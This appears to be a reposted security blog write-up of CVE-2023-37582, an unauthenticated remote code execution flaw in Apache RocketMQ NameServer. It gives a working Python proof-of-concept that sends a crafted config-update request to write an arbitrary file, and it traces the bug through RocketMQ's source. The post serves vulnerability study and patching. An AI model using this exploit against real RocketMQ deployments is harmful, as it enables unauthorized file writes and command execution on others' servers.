CVE-2023-37582 Apache RocketMQ Remote Code Execution Vulnerability

94de55247dd138a9c57721a998e4cc01.jpeg

Vulnerability Profile

Apache RocketMQ is a distributed message middleware with low latency, high concurrency, high availability and high reliability. In CVE-2023-37582, due to the imperfect repair of CVE-2023-33246, when there is unauthorized access to Apache RocketMQ NameServer, the attacker can construct a malicious request to execute commands as the system user running RocketMQ.

Affected version

Apache RocketMQ <= 5.1.1
Apache RocketMQ <= 4.9.6

Environment build

Refer to Apache RocketMQ Remote Code Execution Vulnerability CVE-2023-33246 Environment Setup

Still for the convenience of debugging, we build RocketMQ related services under linux and use the source code to start

A total of two services need to be running

org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup

First start NamesrvStartup, then start BrokerStartup and you need to configure the environment variable ROCKETMQ_HOME
ROCKETMQ_HOME=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0

ce259a67f9336d848a4974094c449948.jpeg 6562608b2162b6b6fcf7046c9b89ba6c.jpeg

Vulnerability recurrence

run python script

import socket
import binascii
client = socket.socket()

# you ip
client.connect(('192.168.222.130',9876))

# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]      # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')

# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
0c9a849138989601b1aaf0d15cfb9375.jpeg db6dfca204f2e35fff6b4c65bf2dfe8f.jpeg

Successfully write the specified string test in the test.txt file under the tmp directory

Vulnerability Analysis

org/apache/rocketmq/remoting/protocol/RequestCode.javacode means to call different functions, at this time, the operation of 318 update configuration is called

src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java

339c1c64817c0b2140c5eb6c36a918f2.jpeg

According to the corresponding code, the corresponding function will be called for processing

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java

e3e2f76be6dfa323c0d1798843d4b087.jpeg

src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig

86a2d7447cc3571a9c52021fa3655c77.jpeg

src/main/java/org/apache/rocketmq/remoting/Configuration.java#update

a998daed5aee9f59a283e7f60dc314f1.jpeg

First determine whether it is a controllable attribute

src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist

7085a69b00298b69c6a00b5b35096846.jpeg

src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath

789143faf5c9b3c921465bc7096d4902.jpeg

Call  getStorePathto get the file path, and the value obtained at this time is the value of configStorePath

src/main/java/org/apache/rocketmq/common/MixAll.java#string2File

e841b4f02e0a11ea9ac523e006008c76.jpeg

src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe

682779227b07affabc38b789e29a59cc.jpeg

src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile

f1d3eb33fa5177e262af109cf983e78b.jpeg

Bug fixes

Modify the parameter that disables modifying the configuration path

472dbac233e74fd8173fe7202843331b.jpeg

Call for original manuscripts

Call for original technical articles, welcome to post

Submission email: [email protected]

Article type: hacker geek technology, information security hotspots, security research and analysis, etc.

If you pass the review and publish it, you can get a remuneration ranging from 200-800 yuan.

For more details, click me to view!

66eca8269d9c23fc74bb190f293f930c.gif

Shooting range practice, click "Read the original text"

Guess you like

Origin blog.csdn.net/qq_38154820/article/details/132033601